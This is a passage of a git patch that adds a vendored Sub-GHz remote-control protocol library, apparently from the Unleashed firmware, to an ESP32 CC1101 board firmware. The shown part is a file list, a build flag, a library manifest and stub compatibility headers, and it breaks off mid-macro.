 .../src/subghz/protocols/power_smart.h        |  109 +
 .../src/subghz/protocols/princeton.c          |  640 ++
 .../src/subghz/protocols/princeton.h          |  117 +
 .../src/subghz/protocols/protocol_items.c     |   36 +
 .../src/subghz/protocols/protocol_items.h     |   59 +
 .../src/subghz/protocols/public_api.h         |  285 +
 .../src/subghz/protocols/raw.c                |  409 ++
 .../src/subghz/protocols/raw.h                |  154 +
 .../src/subghz/protocols/revers_rb2.c         |  411 ++
 .../src/subghz/protocols/revers_rb2.h         |  109 +
 .../src/subghz/protocols/roger.c              |  459 ++
 .../src/subghz/protocols/roger.h              |  109 +
 .../src/subghz/protocols/secplus_v1.c         |  659 ++
 .../src/subghz/protocols/secplus_v1.h         |  110 +
 .../src/subghz/protocols/secplus_v2.c         |  995 +++
 .../src/subghz/protocols/secplus_v2.h         |  110 +
 .../src/subghz/protocols/smc5326.c            |  391 ++
 .../src/subghz/protocols/smc5326.h            |  109 +
 .../src/subghz/protocols/somfy_keytis.c       |  880 +++
 .../src/subghz/protocols/somfy_keytis.h       |  109 +
 .../src/subghz/protocols/somfy_telis.c        |  786 +++
 .../src/subghz/protocols/somfy_telis.h        |  109 +
 .../src/subghz/protocols/treadmill37.c        |  356 +
 .../src/subghz/protocols/treadmill37.h        |  109 +
 .../src/subghz/receiver.c                     |  125 +
 .../src/subghz/receiver.h                     |   73 +
 .../src/subghz/registry.c                     |   30 +
 .../src/subghz/registry.h                     |   48 +
 .../src/subghz/subghz_file_encoder_worker.c   |  251 +
 .../src/subghz/subghz_file_encoder_worker.h   |   78 +
 .../src/subghz/subghz_keystore.c              |  619 ++
 .../src/subghz/subghz_keystore.h              |   82 +
 .../src/subghz/subghz_keystore_i.h            |    9 +
 .../src/subghz/subghz_protocol_registry.h     |   15 +
 .../src/subghz/subghz_setting.c               |  511 ++
 .../src/subghz/subghz_setting.h               |   60 +
 .../src/subghz/subghz_tx_rx_worker.c          |  269 +
 .../src/subghz/subghz_tx_rx_worker.h          |   94 +
 .../src/subghz/subghz_worker.c                |  149 +
 .../src/subghz/subghz_worker.h                |   80 +
 .../src/subghz/transmitter.c                  |   64 +
 .../src/subghz/transmitter.h                  |   56 +
 .../src/subghz/types.h                        |  142 +
 platformio.ini                                |    1 +
 ref/.DS_Store                                 |  Bin 0 -> 6148 bytes
 ref/unleashed-firmware                        |    1 +
 src/core/main_menu.cpp                        |    1 +
 src/core/main_menu.h                          |    2 +
 src/core/menu_items/SubGHZMenu.cpp            |   48 +
 src/core/menu_items/SubGHZMenu.h              |   16 +
 src/core/serial_commands/cli.cpp              |    2 +
 .../subghz_advanced_commands.cpp              |   78 +
 .../subghz_advanced_commands.h                |    8 +
 src/core/theme.cpp                            |    1 +
 src/core/theme.h                              |    2 +
 src/modules/bjs_interpreter/mqjs_stdlib.c     |    9 +
 src/modules/bjs_interpreter/mqjs_stdlib.h     | 1375 ++--
 src/modules/bjs_interpreter/subghz_js.cpp     |   24 +
 src/modules/bjs_interpreter/subghz_js.h       |    4 +
 .../subghz_advanced_decoder_adapter.cpp       |  363 +
 .../subghz_advanced_decoder_adapter.h         |   20 +
 .../subghz_advanced_engine.cpp                |  123 +
 .../subghz_advanced/subghz_advanced_engine.h  |   47 +
 .../subghz_advanced/subghz_advanced_menu.cpp  |  103 +
 .../subghz_advanced/subghz_advanced_menu.h    |    6 +
 .../subghz_advanced_subfile_codec.cpp         |  162 +
 .../subghz_advanced_subfile_codec.h           |   11 +
 .../subghz_advanced/subghz_advanced_types.h   |   23 +
 250 files changed, 89120 insertions(+), 671 deletions(-)
 create mode 100644 lib/subghz_unleashed_bridge/library.json
 create mode 120000 lib/subghz_unleashed_bridge/src/subghz
 create mode 100644 lib/subghz_unleashed_compat/include/core/check.h
 create mode 100644 lib/subghz_unleashed_compat/include/core/log.h
 create mode 100644 lib/subghz_unleashed_compat/include/flipper_format/flipper_format.h
 create mode 100644 lib/subghz_unleashed_compat/include/flipper_format/flipper_format_i.h
 create mode 100644 lib/subghz_unleashed_compat/include/furi.h
 create mode 100644 lib/subghz_unleashed_compat/include/furi_hal.h
 create mode 100644 lib/subghz_unleashed_compat/include/furi_hal_rtc.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format_i.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/toolbox/manchester_decoder.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/toolbox/manchester_encoder.h
 create mode 100644 lib/subghz_unleashed_compat/include/lib/toolbox/stream/stream.h
 create mode 100644 lib/subghz_unleashed_compat/include/m-algo.h
 create mode 100644 lib/subghz_unleashed_compat/include/m-array.h
 create mode 100644 lib/subghz_unleashed_compat/include/m-core.h
 create mode 100644 lib/subghz_unleashed_compat/include/m-list.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-algo.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-array.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-atomic.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-bitset.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-bptree.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-bstring.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-buffer.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-core.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-deque.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-dict.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-funcobj.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-generic.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-genint.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-i-list.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-list.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-prioqueue.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-queue.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-rbtree.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-serial-bin.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-serial-json.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-shared-ptr.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-snapshot.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-string.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-thread.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-tree.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-try.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-tuple.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-variant.h
 create mode 100644 lib/subghz_unleashed_compat/include/mlib/m-worker.h
 create mode 100644 lib/subghz_unleashed_compat/include/storage/storage.h
 create mode 100644 lib/subghz_unleashed_compat/include/toolbox/stream/stream.h
 create mode 100644 lib/subghz_unleashed_compat/library.json
 create mode 100644 lib/subghz_unleashed_compat/src/manchester_decoder.c
 create mode 100644 lib/subghz_unleashed_compat/src/manchester_encoder.c
 create mode 100644 lib/subghz_unleashed_compat/src/subghz_compat.cpp
 create mode 100644 lib/subghz_unleashed_compat/src/subghz_keystore_compat.cpp
 create mode 100644 lib/subghz_unleashed_vendor/README.md
 create mode 100644 lib/subghz_unleashed_vendor/UPSTREAM_PIN.txt
 create mode 100644 lib/subghz_unleashed_vendor/library.json
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/SConscript
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/const.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/custom_btn_i.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/decoder.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/generic.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/generic.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/math.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/blocks/math.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_int/cc1101_int_interconnect.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/device_registry.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/devices.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/devices.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/preset.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/registry.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/registry.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/devices/types.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/environment.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/environment.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/alutech_at_4n.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ansonic.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/base.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/base.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/bett.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/bett.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came_atomo.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/came_twee.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/chamberlain_code.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/clemsa.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/dickert_mahs.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/dooya.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/elplast.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/faac_slh.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/feron.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/feron.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hay21.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/holtek_ht12x.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/honeywell_wdb.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/hormann.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ido.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/ido.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq_common.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/kinggates_stylo_4k.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/legrand.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/linear.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/linear.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/linear_delta3.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/magellan.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/megacode.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nero_radio.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nero_sketch.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flo.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/nice_flor_s.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/phoenix_v2.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/power_smart.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/princeton.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/public_api.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/raw.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/raw.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/revers_rb2.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/roger.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/roger.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v1.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/secplus_v2.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/smc5326.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_keytis.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/receiver.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/receiver.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/registry.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/registry.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_keystore.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_keystore_i.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_protocol_registry.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_setting.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_setting.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_tx_rx_worker.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_worker.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/subghz_worker.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/transmitter.c
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/transmitter.h
 create mode 100644 lib/subghz_unleashed_vendor/src/subghz/types.h
 create mode 100644 ref/.DS_Store
 create mode 160000 ref/unleashed-firmware
 create mode 100644 src/core/menu_items/SubGHZMenu.cpp
 create mode 100644 src/core/menu_items/SubGHZMenu.h
 create mode 100644 src/core/serial_commands/subghz_advanced_commands.cpp
 create mode 100644 src/core/serial_commands/subghz_advanced_commands.h
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_engine.cpp
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_engine.h
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_menu.cpp
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_menu.h
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_subfile_codec.h
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_types.h

diff --git a/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini b/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
index afda9124b..e94a9837b 100644
--- a/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
+++ b/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
@@ -10,6 +10,7 @@ build_flags =
 	-O2
 	-DMIC_SPM1423
 	-DCORE_DEBUG_LEVEL=1
+	-DSUBGHZ_ADV_PROFILE_FULL=1
 
 	-DRF_TX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
 	-DRF_RX_PINS='{{"Pin 43", 43}, {"Pin 44", 44}}'
diff --git a/gen_mqjs_headers.py b/gen_mqjs_headers.py
index 76490bd8d..a781cd648 100644
--- a/gen_mqjs_headers.py
+++ b/gen_mqjs_headers.py
@@ -22,7 +22,6 @@
 CFLAGS = [
     "-Wall",
     "-O2",
-    "-m32",
     "-I" + MQJS_PATH,
 ]
 
diff --git a/lib/mquickjs_headers/mqjs_stdlib.build.sha256 b/lib/mquickjs_headers/mqjs_stdlib.build.sha256
index 55466e2e7..0c5d2b88b 100644
--- a/lib/mquickjs_headers/mqjs_stdlib.build.sha256
+++ b/lib/mquickjs_headers/mqjs_stdlib.build.sha256
@@ -1 +1 @@
-ae56fe5480611f036a40c7264b9e5c94478eab62cadc274a2dcabeed691b9488
\ No newline at end of file
+3154e8994f74c90837af90e71fd17057177f1d54aa4a028d97fd4143ad41f36a
\ No newline at end of file
diff --git a/lib/subghz_unleashed_bridge/library.json b/lib/subghz_unleashed_bridge/library.json
new file mode 100644
index 000000000..8a6361ed2
--- /dev/null
+++ b/lib/subghz_unleashed_bridge/library.json
@@ -0,0 +1,78 @@
+{
+  "name": "subghz_unleashed_bridge",
+  "version": "0.1.0",
+  "build": {
+    "includeDir": "src",
+    "srcDir": "src",
+    "flags": [
+      "-Isrc/subghz"
+    ],
+    "srcFilter": [
+      "-<*>",
+      "+<subghz/registry.c>",
+      "+<subghz/environment.c>",
+      "+<subghz/receiver.c>",
+      "+<subghz/blocks/decoder.c>",
+      "+<subghz/blocks/encoder.c>",
+      "+<subghz/blocks/math.c>",
+      "+<subghz/blocks/generic.c>",
+      "+<subghz/blocks/custom_btn.c>",
+      "+<subghz/protocols/base.c>",
+      "+<subghz/protocols/aes_common.c>",
+      "+<subghz/protocols/keeloq_common.c>",
+      "+<subghz/protocols/alutech_at_4n.c>",
+      "+<subghz/protocols/ansonic.c>",
+      "+<subghz/protocols/beninca_arc.c>",
+      "+<subghz/protocols/bett.c>",
+      "+<subghz/protocols/came.c>",
+      "+<subghz/protocols/came_atomo.c>",
+      "+<subghz/protocols/came_twee.c>",
+      "+<subghz/protocols/chamberlain_code.c>",
+      "+<subghz/protocols/clemsa.c>",
+      "+<subghz/protocols/dickert_mahs.c>",
+      "+<subghz/protocols/ditec_gol4.c>",
+      "+<subghz/protocols/doitrand.c>",
+      "+<subghz/protocols/dooya.c>",
+      "+<subghz/protocols/elplast.c>",
+      "+<subghz/protocols/faac_slh.c>",
+      "+<subghz/protocols/feron.c>",
+      "+<subghz/protocols/gangqi.c>",
+      "+<subghz/protocols/gate_tx.c>",
+      "+<subghz/protocols/hay21.c>",
+      "+<subghz/protocols/hollarm.c>",
+      "+<subghz/protocols/holtek.c>",
+      "+<subghz/protocols/holtek_ht12x.c>",
+      "+<subghz/protocols/honeywell.c>",
+      "+<subghz/protocols/honeywell_wdb.c>",
+      "+<subghz/protocols/hormann.c>",
+      "+<subghz/protocols/ido.c>",
+      "+<subghz/protocols/intertechno_v3.c>",
+      "+<subghz/protocols/jarolift.c>",
+      "+<subghz/protocols/keeloq.c>",
+      "+<subghz/protocols/kinggates_stylo_4k.c>",
+      "+<subghz/protocols/legrand.c>",
+      "+<subghz/protocols/linear.c>",
+      "+<subghz/protocols/linear_delta3.c>",
+      "+<subghz/protocols/magellan.c>",
+      "+<subghz/protocols/marantec.c>",
+      "+<subghz/protocols/marantec24.c>",
+      "+<subghz/protocols/mastercode.c>",
+      "+<subghz/protocols/megacode.c>",
+      "+<subghz/protocols/nero_radio.c>",
+      "+<subghz/protocols/nero_sketch.c>",
+      "+<subghz/protocols/nice_flo.c>",
+      "+<subghz/protocols/nice_flor_s.c>",
+      "+<subghz/protocols/phoenix_v2.c>",
+      "+<subghz/protocols/power_smart.c>",
+      "+<subghz/protocols/princeton.c>",
+      "+<subghz/protocols/revers_rb2.c>",
+      "+<subghz/protocols/roger.c>",
+      "+<subghz/protocols/secplus_v1.c>",
+      "+<subghz/protocols/secplus_v2.c>",
+      "+<subghz/protocols/smc5326.c>",
+      "+<subghz/protocols/somfy_keytis.c>",
+      "+<subghz/protocols/somfy_telis.c>",
+      "+<subghz/protocols/treadmill37.c>"
+    ]
+  }
+}
diff --git a/lib/subghz_unleashed_bridge/src/subghz b/lib/subghz_unleashed_bridge/src/subghz
new file mode 120000
index 000000000..93d0a6e8e
--- /dev/null
+++ b/lib/subghz_unleashed_bridge/src/subghz
@@ -0,0 +1 @@
+../../subghz_unleashed_vendor/src/subghz
\ No newline at end of file
diff --git a/lib/subghz_unleashed_compat/include/core/check.h b/lib/subghz_unleashed_compat/include/core/check.h
new file mode 100644
index 000000000..d30cd542e
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/core/check.h
@@ -0,0 +1,6 @@
+#ifndef __SUBGHZ_COMPAT_CORE_CHECK_H__
+#define __SUBGHZ_COMPAT_CORE_CHECK_H__
+
+#include <furi.h>
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/core/log.h b/lib/subghz_unleashed_compat/include/core/log.h
new file mode 100644
index 000000000..271e3d73f
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/core/log.h
@@ -0,0 +1,6 @@
+#ifndef __SUBGHZ_COMPAT_CORE_LOG_H__
+#define __SUBGHZ_COMPAT_CORE_LOG_H__
+
+#include <furi.h>
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/flipper_format/flipper_format.h b/lib/subghz_unleashed_compat/include/flipper_format/flipper_format.h
new file mode 100644
index 000000000..828b4d24f
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/flipper_format/flipper_format.h
@@ -0,0 +1 @@
+#include <lib/flipper_format/flipper_format.h>
diff --git a/lib/subghz_unleashed_compat/include/flipper_format/flipper_format_i.h b/lib/subghz_unleashed_compat/include/flipper_format/flipper_format_i.h
new file mode 100644
index 000000000..3b200f80b
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/flipper_format/flipper_format_i.h
@@ -0,0 +1 @@
+#include <lib/flipper_format/flipper_format_i.h>
diff --git a/lib/subghz_unleashed_compat/include/furi.h b/lib/subghz_unleashed_compat/include/furi.h
new file mode 100644
index 000000000..d5b459dee
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/furi.h
@@ -0,0 +1,73 @@
+#ifndef __SUBGHZ_COMPAT_FURI_H__
+#define __SUBGHZ_COMPAT_FURI_H__
+
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNUSED(x) ((void)(x))
+#define COUNT_OF(x) (sizeof(x) / sizeof((x)[0]))
+
+#define FURI_LOG_E(tag, fmt, ...) ((void)0)
+#define FURI_LOG_W(tag, fmt, ...) ((void)0)
+#define FURI_LOG_I(tag, fmt, ...) ((void)0)
+#define FURI_LOG_D(tag, fmt, ...) ((void)0)
+
+#define furi_check(x)                                                                                             \
+    do {                                                                                                          \
+        if(!(x)) {                                                                                                \
+            abort();                                                                                              \
+        }                                                                                                         \
+    } while(0)
+
+#define furi_check_ret(x, retv)                                                                                   \
